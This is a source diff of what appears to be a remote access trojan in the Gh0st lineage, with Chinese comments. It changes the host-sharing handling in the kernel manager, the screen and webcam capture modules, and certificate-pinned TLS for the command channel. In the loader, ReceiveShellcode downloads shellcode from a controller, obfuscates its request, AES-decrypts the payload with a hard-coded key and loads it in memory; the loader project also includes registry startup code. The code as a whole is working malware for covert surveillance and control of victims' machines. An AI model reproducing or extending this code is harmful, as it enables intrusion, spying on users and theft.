Mprintf("Share ignored: host is transferred\n");
|
||||
ClientMsg msg("分享主机", "Host is transferred, sharing is not allowed");
|
||||
SendData((LPBYTE)&msg, sizeof(msg));
|
||||
break;
|
||||
auto share = v[0] + ":" + v[1];
|
||||
}
|
||||
// 主机当前走 zlib 时不接受分享:分享实例构造时会读整机 compress
|
||||
// 配置,带着 zlib 去连分享目标;对端若只支持 zstd(如 Go 服务端),
|
||||
// 这条分享链路一建就连不上。先切回 zstd 再分享。
|
||||
// 按配置判断而非当前连接:并行上线时当前连接的模式可能已不是新实例
|
||||
// 将要使用的模式(配置由收到切换命令的那条连接写入,是整机共享的)。
|
||||
if (IOCPClient::ConfiguredWireZlib()) {
|
||||
Mprintf("Share ignored: client uses zlib wire compression\n");
|
||||
ClientMsg msg("分享主机", "Client uses zlib wire compression, switch it back to zstd before sharing");
|
||||
SendData((LPBYTE)&msg, sizeof(msg));
|
||||
break;
|
||||
}
|
||||
if (targetKey.empty())
|
||||
break;
|
||||
auto share = targetKey;
|
||||
if (shareProto == PROTOCOL_SHINE || shareProto == PROTOCOL_HELL)
|
||||
share += ":" + std::to_string(shareProto);
|
||||
// 传输段必须排在 Shine 段之后:share_list 的第 3 段是 Shine,没写
|
||||
@@ -1397,29 +1509,40 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
share += ":" + std::to_string(shareTransport);
|
||||
auto list = m_cfg->GetStr("settings", "share_list");
|
||||
auto shareList = list.empty() ? std::vector<std::string>{} : StringToVector(list, '|');
|
||||
// 去重按 host:port 比,不按整条记录比。同一条分享目标换了传输方式
|
||||
// (出包烘焙的 TCP → 重新分享成 WSS)时第 3/4 段会变,整条比会把它
|
||||
// 判成「新条目」,于是同一目标留下两条记录 → 同一 clientID 起两个分享
|
||||
// 实例,登录时互相踢。老记录(3 段、没有传输段)也在这一步被替换。
|
||||
const std::string shareKey = v[0] + ":" + v[1];
|
||||
bool identical = false;
|
||||
for (size_t k = 0; k < shareList.size(); ++k) {
|
||||
auto ev = StringToVector(shareList[k], ':', 2);
|
||||
if (ev[0] + ":" + ev[1] == shareKey && shareList[k] == share)
|
||||
if (ev[0] + ":" + ev[1] == targetKey && shareList[k] == share)
|
||||
identical = true;
|
||||
}
|
||||
if (identical) break; // 同样的记录已在分享,重复命令不再起一个实例
|
||||
for (size_t k = 0; k < shareList.size(); ) {
|
||||
auto ev = StringToVector(shareList[k], ':', 2);
|
||||
if (ev[0] + ":" + ev[1] == shareKey) shareList.erase(shareList.begin() + k);
|
||||
else ++k;
|
||||
// 按 host:port 归并:同一目标只保留一条(新记录,或 identical 时的
|
||||
// 原记录)。旧版本可能给同一目标留了两条,重启时会起两个同 clientID
|
||||
// 的实例互踢,这里顺手把历史数据也清掉。
|
||||
std::vector<std::string> normalized;
|
||||
for (auto& entry : shareList) {
|
||||
auto ev = StringToVector(entry, ':', 2);
|
||||
if (ev[0] + ":" + ev[1] == targetKey)
|
||||
continue;
|
||||
normalized.push_back(entry);
|
||||
}
|
||||
shareList.push_back(share);
|
||||
m_cfg->SetStr("settings", "share_list", VectorJoin(shareList, '|'));
|
||||
Mprintf("Share client to new master: %s\n", share.c_str());
|
||||
normalized.push_back(share);
|
||||
if (normalized != shareList) {
|
||||
shareList = normalized;
|
||||
m_cfg->SetStr("settings", "share_list", VectorJoin(shareList, '|'));
|
||||
if (!identical)
|
||||
Mprintf("Share client to new master: %s\n", share.c_str());
|
||||
}
|
||||
// 记录没变且实例还活着:重复命令不动它。记录相同但线程已退出
|
||||
// (异常结束等)则继续往下补起一条,不必等客户端重启。
|
||||
if (identical && HasSharedInstanceForTarget(targetKey, SHARED_KIND_SHARE))
|
||||
break;
|
||||
}
|
||||
// 登记后起线程。同一目标只留一条连接(与 Linux 的 SpawnManagedChild
|
||||
// 一致):重复下发同一目标只替换记录,旧连接先停掉再起新的,否则同一
|
||||
// clientID 会有两条连接互相踢。
|
||||
StopSharedInstancesForTarget(targetKey);
|
||||
auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE, shareProto, shareTransport);
|
||||
if (nullptr!=a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
|
||||
StartSharedClient(a, SHARED_KIND_SHARE, targetKey);
|
||||
break;
|
||||
}
|
||||
case SHARE_TYPE_HOLDINGHANDS:
|
||||
@@ -1429,11 +1552,16 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
break;
|
||||
|
||||
case COMMAND_SHARE_CANCEL: {
|
||||
int stopped = 0;
|
||||
if (m_ClientApp->IsMainInstance()) {
|
||||
m_cfg->SetStr("settings", "share_list", "");
|
||||
// 分享实例是同进程里的线程,停掉后连接立即断开。取消分享只停分享实例,
|
||||
// 撤销不了转移(转移改的是主连接自己连的地址,不涉及分享线程)。
|
||||
stopped = StopSharedInstances(SHARED_KIND_SHARE);
|
||||
Mprintf("Share cancel: stopping %d share instance(s)\n", stopped);
|
||||
}
|
||||
ClientMsg msg("分享主机", m_ClientApp->IsMainInstance() ?
|
||||
"Cancel sharing and next run to take effort" : "No permission to cancel sharing");
|
||||
ClientMsg msg("分享主机", m_ClientApp->IsMainInstance() ?
|
||||
"Cancel sharing: stopping shared connections" : "No permission to cancel sharing");
|
||||
SendData((LPBYTE)&msg, sizeof(msg));
|
||||
break;
|
||||
}
|
||||
@@ -1444,8 +1572,12 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
// 登录已被服务端接受:服务端把本机加入在线列表后才下发 MasterSettings
|
||||
// (2015RemoteDlg.cpp::SendMasterSettings(ctx, ...) 的登录路径)。协议切换的
|
||||
// 自动回退靠这个信号撤销,而不是只看连接是否建立——连接建立只说明握手完成。
|
||||
if (m_ClientObject)
|
||||
if (m_ClientObject) {
|
||||
m_ClientObject->SetLoginAcked(true);
|
||||
// 后端确实按当前头加密类型解析成功了,发布给后续创建的子连接继承
|
||||
// (只有主连接会走到 CMD_MASTERSETTING,见 PublishHeaderEncoder)。
|
||||
m_ClientObject->PublishHeaderEncoder();
|
||||
}
|
||||
if (ulLength > MasterSettingsOldSize) {
|
||||
memcpy(&m_settings, szBuffer + 1, ulLength > sizeof(MasterSettings) ? sizeof(MasterSettings) : MasterSettingsOldSize);
|
||||
if (m_settings.Signature[0] && m_LoginSignature.empty()) {
|
||||
|
||||
@@ -729,11 +729,7 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
|
||||
This->WaitForDialogOpen();
|
||||
|
||||
clock_t last = clock();
|
||||
#if USING_ZLIB
|
||||
const int fps = 8;// 帧率
|
||||
#else
|
||||
const int fps = 8;// 帧率
|
||||
#endif
|
||||
const int sleep = 1000 / fps;// 间隔时间(ms)
|
||||
int c1 = 0; // 连续耗时长的次数
|
||||
int c2 = 0; // 连续耗时短的次数
|
||||
|
||||
+2
-2
@@ -103,7 +103,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
|
||||
//
|
||||
|
||||
VS_VERSION_INFO VERSIONINFO
|
||||
FILEVERSION 1,0,4,2
|
||||
FILEVERSION 1,0,4,4
|
||||
PRODUCTVERSION 1,0,0,1
|
||||
FILEFLAGSMASK 0x3fL
|
||||
#ifdef _DEBUG
|
||||
@@ -121,7 +121,7 @@ BEGIN
|
||||
BEGIN
|
||||
VALUE "CompanyName", "FUCK THE UNIVERSE"
|
||||
VALUE "FileDescription", "A GHOST"
|
||||
VALUE "FileVersion", "1.0.4.2"
|
||||
VALUE "FileVersion", "1.0.4.4"
|
||||
VALUE "InternalName", "ServerDll.dll"
|
||||
VALUE "LegalCopyright", "Copyright (C) 2019-2026"
|
||||
VALUE "OriginalFilename", "ServerDll.dll"
|
||||
|
||||
+3
-7
@@ -6,16 +6,12 @@
|
||||
#if !defined(AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_)
|
||||
#define AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_
|
||||
|
||||
// 是否使用ZLIB
|
||||
#define USING_ZLIB 0
|
||||
|
||||
#if !USING_ZLIB
|
||||
|
||||
// 客户端线缆压缩:Windows 客户端同时编译 zlib 与 zstd,运行期由 settings\compress
|
||||
// 选择(默认 zstd;配置为 zlib 时使用 zlib)。服务端可通过 COMMAND_SET_COMPRESS
|
||||
// 写入该配置并触发重连,见 client/IOCPClient.cpp 与 KernelManager 的处理分支。
|
||||
#define USING_ZSTD 1
|
||||
#define USING_CTX 1
|
||||
|
||||
#endif
|
||||
|
||||
// 是否使用 Opus 音频压缩 (需要 opus 库)
|
||||
// 设为 1 启用 Opus 压缩,设为 0 使用 PCM 无压缩
|
||||
#define USING_OPUS 1
|
||||
|
||||
Binary file not shown.
@@ -164,6 +164,7 @@
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="..\common\aes.c" />
|
||||
<ClCompile Include="Loader.cpp" />
|
||||
<ClCompile Include="MemoryModule.c" />
|
||||
<ClCompile Include="reg_startup.c" />
|
||||
@@ -173,6 +174,7 @@
|
||||
<ClCompile Include="test.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\common\aes.h" />
|
||||
<ClInclude Include="auto_start.h" />
|
||||
<ClInclude Include="MemoryModule.h" />
|
||||
<ClInclude Include="reg_startup.h" />
|
||||
|
||||
@@ -153,8 +153,12 @@
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="..\common\aes.c" />
|
||||
<ClCompile Include="main.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\common\aes.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
|
||||
@@ -18,5 +18,13 @@
|
||||
<ClCompile Include="main.c">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\common\aes.c">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\common\aes.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
+10
-2
@@ -15,6 +15,7 @@
|
||||
#include <fstream> // std::ifstream
|
||||
#include <iterator> // std::istreambuf_iterator
|
||||
#include <string>
|
||||
#include <cstddef> // offsetof(CERT_CHAIN_ENGINE_CONFIG 的 Win7 兼容尺寸)
|
||||
#include <map> // std::map(域名解析缓存)
|
||||
#include <mutex> // std::mutex
|
||||
|
||||
@@ -421,12 +422,19 @@ TlsAnchor BuildTlsAnchor(bool allowEmbedded, bool quiet, HCERTSTORE* outStore,
|
||||
// 严格钉扎:链引擎只信任该 store 里的根证书,排除系统根库。否则攻击者拿一张任意
|
||||
// 公共 CA 签发的证书就能通过 CertGetCertificateChain(默认引擎信任系统根库)。
|
||||
CERT_CHAIN_ENGINE_CONFIG ec = {};
|
||||
ec.cbSize = sizeof(ec);
|
||||
// 兼容 Windows 7:本工程未定义 _WIN32_WINNT,SDK 默认按 Win10 编译,结构体因此
|
||||
// 含只有 Win8+ 才有的 dwExclusiveFlags,sizeof 比 Win7 已知尺寸大 8 字节。Win7
|
||||
// 的 CertCreateCertificateChainEngine 只认识结构体到 hExclusiveTrustedPeople 为止,
|
||||
// 传入更大的 cbSize 会返回 FALSE(ERROR_INVALID_PARAMETER),客户端随即 fail-closed。
|
||||
// 这里显式按 Win7 尺寸传递;Win8+ 接受较旧尺寸,未使用的 dwExclusiveFlags 视为 0。
|
||||
ec.cbSize = (DWORD)offsetof(CERT_CHAIN_ENGINE_CONFIG, hExclusiveTrustedPeople)
|
||||
+ (DWORD)sizeof(HCERTSTORE);
|
||||
ec.hExclusiveRoot = store;
|
||||
HCERTCHAINENGINE engine = NULL;
|
||||
if (!CertCreateCertificateChainEngine(&ec, &engine)) {
|
||||
DWORD le = GetLastError();
|
||||
CertCloseStore(store, 0);
|
||||
err = "CertCreateCertificateChainEngine failed";
|
||||
err = "CertCreateCertificateChainEngine failed (error " + std::to_string(le) + ")";
|
||||
return TLS_ANCHOR_INVALID;
|
||||
}
|
||||
|
||||
|
||||
+14
-9
@@ -6,7 +6,8 @@
|
||||
//
|
||||
// 选型:
|
||||
// - Windows:Schannel(原生 SSPI),零第三方依赖;secur32.lib / crypt32.lib 为系统库。
|
||||
// - Linux:OpenSSL(构建链已因 libsign 链接 libcrypto,另加 libssl 即可)。
|
||||
// - Linux / macOS:OpenSSL(Linux 构建链已因 libsign 链接 libcrypto,另加 libssl 即可;
|
||||
// macOS 需 Homebrew openssl@3,见 macos/CMakeLists.txt)。
|
||||
// 两者都是单向 TLS:客户端只校验服务端证书链到固定的信任锚,不提供客户端证书,
|
||||
// 客户端身份仍由隧道内登录(V1 PwdHmac / V2 ECDSA)承担;均不校主机名(客户端按 IP
|
||||
// 连接),不做吊销检查——与 Windows 版既有语义保持一致。
|
||||
@@ -16,11 +17,12 @@
|
||||
// Send/Recv 对上下文的使用由 m_ctxMtx 互斥,避免重连线程释放上下文时与使用线程产生
|
||||
// use-after-free。本对象作为 IOCPClient 的值成员存在,析构时释放上下文。
|
||||
//
|
||||
// 平台范围:_WIN32(Schannel)、Linux 与 Android(OpenSSL)有实现;macOS 不含任何内容,
|
||||
// 客户端维持明文。这些平台都通过 YAMA_TLS_CHANNEL 宏告知调用方「本平台有 TLS 通道」。
|
||||
// 平台范围:_WIN32(Schannel)、Linux / Android / macOS(OpenSSL)有实现。这些平台都通过
|
||||
// YAMA_TLS_CHANNEL 宏告知调用方「本平台有 TLS 通道」。
|
||||
// Android 复用 Linux 的 OpenSSL 实现(TlsChannelLinux.cpp),唯一差异是信任锚目录改为
|
||||
// App 私有 filesDir(由 TlsSetAnchorDir 注入),语义(单向 TLS1.2 钉扎、fail-closed、
|
||||
// 热重载)与 Linux 完全一致。
|
||||
// 热重载)与 Linux 完全一致。macOS 同样复用这份 OpenSSL 实现且不改目录规则:
|
||||
// ~/.config/ghost/yama-ca.pem 与 macOS 客户端现有的 config.conf 目录一致。
|
||||
#pragma once
|
||||
|
||||
#if defined(_WIN32)
|
||||
@@ -135,7 +137,7 @@ private:
|
||||
std::vector<BYTE> m_pending; // 已解密、未交付给应用层的明文
|
||||
};
|
||||
|
||||
#elif defined(__linux__) // 含 Android:__ANDROID__ 同时定义 __linux__
|
||||
#elif defined(__linux__) || defined(__APPLE__) // Android 同时定义 __linux__;macOS 走同一份 OpenSSL 实现
|
||||
|
||||
#define YAMA_TLS_CHANNEL 1
|
||||
|
||||
@@ -152,15 +154,18 @@ bool TlsEnabled();
|
||||
// (fail-closed),不得静默回退明文。线程安全、幂等。
|
||||
bool TlsLoadError();
|
||||
|
||||
// Windows 版按目标地址区分「用不用内嵌锚」。Linux / Android 客户端没有内嵌锚概念(生成器
|
||||
// 只往 Windows 镜像里写锚块),信任锚一律是配置文件,故这里忽略目标地址,与进程级开关等价。
|
||||
// Windows 版按目标地址区分「用不用内嵌锚」。Linux / Android / macOS 客户端没有内嵌锚概念
|
||||
// (生成器只往 Windows 镜像里写锚块),信任锚一律是配置文件,故这里忽略目标地址,与进程级
|
||||
// 开关等价。
|
||||
inline bool TlsEnabledFor(const std::string&, const std::string&) { return TlsEnabled(); }
|
||||
inline bool TlsLoadErrorFor(const std::string&, const std::string&) { return TlsLoadError(); }
|
||||
|
||||
// 服务端下发信任锚(COMMAND_TLS_ENABLE):把 PEM 正文写入信任锚文件,原子替换、权限 0600。
|
||||
// 写入前先解析验证,不是合法证书就整包拒绝。目录按平台:
|
||||
// Linux:$XDG_CONFIG_HOME/ghost/yama-ca.pem(默认 ~/.config/ghost/yama-ca.pem,无 HOME
|
||||
// 时退回程序目录);
|
||||
// Linux:$XDG_CONFIG_HOME/ghost/yama-ca.pem(默认 ~/.config/ghost/yama-ca.pem);
|
||||
// macOS:~/.config/ghost/yama-ca.pem(与 macos/main.mm 的 config.conf 同目录,不读
|
||||
// XDG_CONFIG_HOME;HOME 兜底也逐字对齐 initConfigPaths:HOME → getpwuid → /tmp);
|
||||
// Linux 无 HOME 时退回程序目录;
|
||||
// Android:App 私有 filesDir/yama-ca.pem(目录由 TlsSetAnchorDir 注入)。
|
||||
// 落盘后用 TlsReload() 立即生效(Windows 客户端在 COMMAND_TLS_ENABLE 里调用同一个
|
||||
// TlsReload(),各平台行为一致)。
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
// TlsChannelLinux.cpp — 见 TlsChannel.h 头注释。Linux 与 Android 编译(共用 OpenSSL 实现)。
|
||||
// TlsChannelLinux.cpp — 见 TlsChannel.h 头注释。Linux / Android / macOS 编译(共用 OpenSSL 实现)。
|
||||
//
|
||||
// 与 Windows 的 Schannel 实现语义对齐:
|
||||
// - 单向 TLS 1.2(min=max=1.2,与 SP_PROT_TLS1_2_CLIENT 及两套服务端一致);
|
||||
@@ -9,7 +9,7 @@
|
||||
// 与 Windows 实现的差异:OpenSSL 自己管理 TLS 记录缓冲,不需要 m_raw/m_pending;
|
||||
// 一次性交付不出去的明文留在 SSL 内部,由 SSL_has_pending()/SSL_pending() 暴露给
|
||||
// 接收线程在 select 前优先消费。
|
||||
#if defined(__linux__) // 含 Android:__ANDROID__ 同时定义 __linux__
|
||||
#if defined(__linux__) || defined(__APPLE__) // Android 同时定义 __linux__;macOS 走同一份实现
|
||||
|
||||
#include "TlsChannel.h"
|
||||
|
||||
@@ -24,6 +24,7 @@
|
||||
|
||||
#include <cerrno>
|
||||
#include <chrono>
|
||||
#include <cstdint>
|
||||
#include <cstdlib>
|
||||
#include <cstring>
|
||||
#include <fstream>
|
||||
@@ -37,6 +38,11 @@
|
||||
#include <sys/types.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#if defined(__APPLE__)
|
||||
#include <mach-o/dyld.h> // _NSGetExecutablePath
|
||||
#include <pwd.h> // getpwuid:与 macos/main.mm 的 HOME 兜底保持一致
|
||||
#endif
|
||||
|
||||
namespace {
|
||||
|
||||
const char* const kAnchorName = "yama-ca.pem";
|
||||
@@ -55,27 +61,58 @@ std::string g_anchorDir; // 信任锚目录,由 TlsSetAnchorDir
|
||||
|
||||
// 配置目录:
|
||||
// Linux:与 LinuxConfig 相同规则($XDG_CONFIG_HOME/ghost 或 ~/.config/ghost);
|
||||
// macOS:固定 ~/.config/ghost(跟随 macos/main.mm 的 config.conf 位置,不吃 XDG_CONFIG_HOME);
|
||||
// Android:App 私有 filesDir(TlsSetAnchorDir 注入),无「程序目录」回退。
|
||||
std::string ConfigDir()
|
||||
{
|
||||
#ifdef __ANDROID__
|
||||
return g_anchorDir;
|
||||
#else
|
||||
const char* home = getenv("HOME");
|
||||
#if defined(__APPLE__)
|
||||
// macOS 不看 XDG_CONFIG_HOME:macos/main.mm 的 initConfigPaths 把 config.conf 固定
|
||||
// 放在 ~/.config/ghost,信任锚必须跟着它走,否则同一台机器会出现两份配置目录。
|
||||
// HOME 兜底顺序也与 initConfigPaths 逐字对齐(HOME → getpwuid()->pw_dir → /tmp):
|
||||
// 手工做成 launchd daemon 时 launchd 不导出 HOME,只查 HOME 会让锚落到「程序目录」,
|
||||
// 而 config.conf 在 pw_dir 下——升级/重装 app bundle 时锚跟着被删,客户端静默退回明文,
|
||||
// 而服务端仍以为这台是 TLS。
|
||||
if (!home || !home[0]) {
|
||||
struct passwd* pw = getpwuid(getuid());
|
||||
if (pw && pw->pw_dir && pw->pw_dir[0])
|
||||
home = pw->pw_dir;
|
||||
}
|
||||
if (!home || !home[0])
|
||||
home = "/tmp";
|
||||
return std::string(home) + "/.config/ghost";
|
||||
#else
|
||||
const char* xdg = getenv("XDG_CONFIG_HOME");
|
||||
if (xdg && xdg[0])
|
||||
return std::string(xdg) + "/ghost";
|
||||
const char* home = getenv("HOME");
|
||||
if (!home || !home[0])
|
||||
return std::string();
|
||||
return std::string(home) + "/.config/ghost";
|
||||
#endif
|
||||
#endif
|
||||
}
|
||||
|
||||
// 可执行文件所在目录(readlink /proc/self/exe,失败返回空)。Android 无此概念,返回空。
|
||||
// 可执行文件所在目录(失败返回空)。仅用作「无 HOME」时的回退位置。Android 无此概念。
|
||||
std::string ExeDir()
|
||||
{
|
||||
#ifdef __ANDROID__
|
||||
#if defined(__ANDROID__)
|
||||
return std::string();
|
||||
#elif defined(__APPLE__)
|
||||
// macOS 没有 /proc/self/exe。_NSGetExecutablePath 返回的路径可能含符号链接/相对成分,
|
||||
// 这里只取所在目录、不做规范化——用途只是找同目录的 yama-ca.pem,与 Linux 分支一致。
|
||||
// 注意 size 是 in/out:缓冲区不足时返回 -1,不能读返回后的内容。
|
||||
char buf[4096];
|
||||
uint32_t size = sizeof(buf);
|
||||
if (_NSGetExecutablePath(buf, &size) != 0)
|
||||
return std::string();
|
||||
char* slash = strrchr(buf, '/');
|
||||
if (!slash)
|
||||
return std::string();
|
||||
*slash = '\0';
|
||||
return std::string(buf);
|
||||
#else
|
||||
char buf[4096];
|
||||
ssize_t n = readlink("/proc/self/exe", buf, sizeof(buf) - 1);
|
||||
@@ -91,7 +128,8 @@ std::string ExeDir()
|
||||
}
|
||||
|
||||
// 信任锚候选路径(按优先级),只返回已经存在的那个:
|
||||
// 1) $XDG_CONFIG_HOME/ghost/yama-ca.pem(默认 ~/.config/ghost/yama-ca.pem)
|
||||
// 1) ConfigDir()/yama-ca.pem(Linux 默认 ~/.config/ghost,macOS 固定 ~/.config/ghost,
|
||||
// Android 为 App filesDir)
|
||||
// 2) 可执行文件同目录 yama-ca.pem(兼容手工投递,与 Windows 的 exe 同名文件回退一致)
|
||||
bool FindAnchorPath(std::string& out)
|
||||
{
|
||||
@@ -600,4 +638,4 @@ bool TlsChannel::HasPending() const
|
||||
return SSL_pending(m_ssl) > 0 || SSL_has_pending(m_ssl) == 1;
|
||||
}
|
||||
|
||||
#endif // __linux__(含 Android)
|
||||
#endif // __linux__ / __APPLE__(Linux 含 Android;macOS)
|
||||
+19
-6
@@ -36,6 +36,14 @@ DWORD CVideoManager::WorkThread(LPVOID lParam)
|
||||
return 0x20261013;
|
||||
}
|
||||
|
||||
// 摄像头打开成功但格式解析失败(VIDEOINFOHEADER2 之外的媒体类型、宽高非法等):
|
||||
// 结束本次会话,绝不带着空缓冲区进采帧循环——那会在第一帧 memcpy 时崩掉。
|
||||
if (This->m_CapVideo.GetBmpInfor() == NULL) {
|
||||
Mprintf("CVideoManager: camera format unusable, abort session\n");
|
||||
This->Destroy();
|
||||
return 0x20261014;
|
||||
}
|
||||
|
||||
static ULONGLONG dwLastScreen = GetTickCount64();
|
||||
|
||||
if (This->Initialize()) { //转到Initialize
|
||||
@@ -47,11 +55,7 @@ DWORD CVideoManager::WorkThread(LPVOID lParam)
|
||||
|
||||
// 等控制端对话框打开
|
||||
This->WaitForDialogOpen();
|
||||
#if USING_ZLIB
|
||||
const int fps = 8;// 帧率
|
||||
#else
|
||||
const int fps = 8;// 帧率
|
||||
#endif
|
||||
const int sleep = 1000 / fps;// 间隔时间(ms)
|
||||
|
||||
timeBeginPeriod(1);
|
||||
@@ -100,10 +104,15 @@ void CVideoManager::Destroy()
|
||||
|
||||
void CVideoManager::SendBitMapInfor()
|
||||
{
|
||||
LPBITMAPINFO bi = m_CapVideo.GetBmpInfor();
|
||||
if (bi == NULL) {
|
||||
Mprintf("CVideoManager: no bitmap info, skip sending\n");
|
||||
return;
|
||||
}
|
||||
const int dwBytesLength = 1 + sizeof(BITMAPINFO);
|
||||
BYTE szBuffer[dwBytesLength + 3] = { 0 };
|
||||
szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO;
|
||||
memcpy(szBuffer + 1, m_CapVideo.GetBmpInfor(), sizeof(BITMAPINFO));
|
||||
memcpy(szBuffer + 1, bi, sizeof(BITMAPINFO));
|
||||
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||
m_ClientObject->Send2Server((char*)szBuffer, dwBytesLength, &mask);
|
||||
}
|
||||
@@ -187,9 +196,13 @@ BOOL CVideoManager::Initialize()
|
||||
bRet= FALSE;
|
||||
return bRet;
|
||||
}
|
||||
LPBITMAPINFO bi = m_CapVideo.GetBmpInfor();
|
||||
if (bi == NULL) {
|
||||
return FALSE;
|
||||
}
|
||||
m_pVideoCodec = new CVideoCodec;
|
||||
//这里初始化,视频压缩 ,注意这里的压缩码 m_fccHandler(到构造函数中查看)
|
||||
if (!m_pVideoCodec->InitCompressor(m_CapVideo.GetBmpInfor(), m_fccHandler)) {
|
||||
if (!m_pVideoCodec->InitCompressor(bi, m_fccHandler)) {
|
||||
delete m_pVideoCodec;
|
||||
bRet=FALSE;
|
||||
// 置NULL, 发送时判断是否为NULL来判断是否压缩
|
||||
|
||||
+43
-2
@@ -9,6 +9,7 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include "../common/hash.h"
|
||||
#include "../common/aes.h"
|
||||
|
||||
#ifdef _DEBUG
|
||||
#define Mprintf printf
|
||||
@@ -20,6 +21,10 @@
|
||||
|
||||
#pragma comment(lib, "ws2_32.lib")
|
||||
|
||||
#ifndef MAX_CONNECT_FAILS
|
||||
#define MAX_CONNECT_FAILS 3
|
||||
#endif
|
||||
|
||||
#pragma pack(push, 4)
|
||||
typedef struct PkgHeader {
|
||||
char flag[8];
|
||||
@@ -65,11 +70,36 @@ PkgHeader MakePkgHeader(int originLen)
|
||||
{
|
||||
PkgHeader header = { 0 };
|
||||
memcpy(header.flag, "Hello?", 6);
|
||||
header.flag[7] = 1;
|
||||
header.originLen = originLen;
|
||||
header.totalLen = sizeof(PkgHeader) + originLen;
|
||||
return header;
|
||||
}
|
||||
|
||||
static void gen_aes_bytes(BYTE* out) {
|
||||
for (int i = 0; i < 16; i++) {
|
||||
out[i] = (BYTE)(rand() & 0xFF);
|
||||
}
|
||||
}
|
||||
|
||||
static uint16_t pseudo_random(int index) {
|
||||
return (uint16_t)((1 ^ (index * 251 + 97)) * 733);
|
||||
}
|
||||
|
||||
static void encrypt(unsigned char* data, int len) {
|
||||
for (int i = 0; i < len; ++i) {
|
||||
data[i] ^= (unsigned char)((i * 13) ^ ((i << 1) ^ 1));
|
||||
}
|
||||
for (int round = 0; round < 2; ++round) {
|
||||
for (int i = 0; i < len; ++i) {
|
||||
int j = pseudo_random(i + round * 100) % len;
|
||||
unsigned char tmp = data[i];
|
||||
data[i] = data[j];
|
||||
data[j] = tmp;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int GetIPAddress(const char* hostName, char* outIpBuffer, int bufferSize)
|
||||
{
|
||||
struct sockaddr_in sa = { 0 };
|
||||
@@ -272,10 +302,10 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut)
|
||||
const int bufSize = (8 * 1024 * 1024);
|
||||
char* buffer = NULL;
|
||||
BOOL isFirstConnect = TRUE;
|
||||
int attemptCount = 0, requestCount = 0;
|
||||
int attemptCount = 0, requestCount = 0, connectFailCount = 0;
|
||||
do {
|
||||
if (!isFirstConnect)
|
||||
Sleep(IsRelease ? rand() % 120 * 1000 : 5000);
|
||||
Sleep((IsRelease && connectFailCount >= MAX_CONNECT_FAILS) ? rand() % 120 * 1000 : 5000);
|
||||
isFirstConnect = FALSE;
|
||||
if (++attemptCount == 20)
|
||||
PostMessage((HWND)g_Server.parentHwnd, 4046, (WPARAM)933711587, (LPARAM)1643138518);
|
||||
@@ -295,15 +325,20 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut)
|
||||
if (connect(clientSocket, (SOCKADDR*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
|
||||
closesocket(clientSocket);
|
||||
SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);
|
||||
if (++connectFailCount >= MAX_CONNECT_FAILS && hash[0])
|
||||
break;
|
||||
continue;
|
||||
}
|
||||
connectFailCount = 0;
|
||||
|
||||
char command[64] = { 210, sizeof(void*) == 8, 0, IsRelease, __DATE__ };
|
||||
gen_aes_bytes((BYTE*)command + 16); // AES IV
|
||||
char req[sizeof(PkgHeader) + sizeof(command)] = { 0 };
|
||||
memcpy(command + 32, hash, 32);
|
||||
PkgHeader h = MakePkgHeader(sizeof(command));
|
||||
memcpy(req, &h, sizeof(PkgHeader));
|
||||
memcpy(req + sizeof(PkgHeader), command, sizeof(command));
|
||||
encrypt((BYTE*)req + sizeof(PkgHeader), sizeof(command)); // Hello?
|
||||
int bytesSent = send(clientSocket, req, sizeof(req), 0);
|
||||
if (bytesSent != sizeof(req)) {
|
||||
closesocket(clientSocket);
|
||||
@@ -346,6 +381,12 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut)
|
||||
continue;
|
||||
}
|
||||
unsigned char* ptr = buffer + sizeof(PkgHeader);
|
||||
struct AES_ctx ctx; // AES Decode
|
||||
static const unsigned char aes_key[16] = {
|
||||
0x5A, 0xC3, 0x17, 0xF0, 0x89, 0xB6, 0x4E, 0x7D, 0x1A, 0x22, 0x9F, 0xC8, 0xD3, 0xE6, 0x73, 0xB1
|
||||
};
|
||||
AES_init_ctx_iv(&ctx, aes_key, (BYTE*)command + 16);
|
||||
AES_CBC_decrypt_buffer(&ctx, (BYTE*)ptr, header->originLen);
|
||||
int size = 0;
|
||||
BYTE cmd = ptr[0], type = ptr[1];
|
||||
memcpy(&size, ptr + 2, sizeof(int));
|
||||
|
||||
@@ -0,0 +1,38 @@
|
||||
#pragma once
|
||||
|
||||
#include <time.h>
|
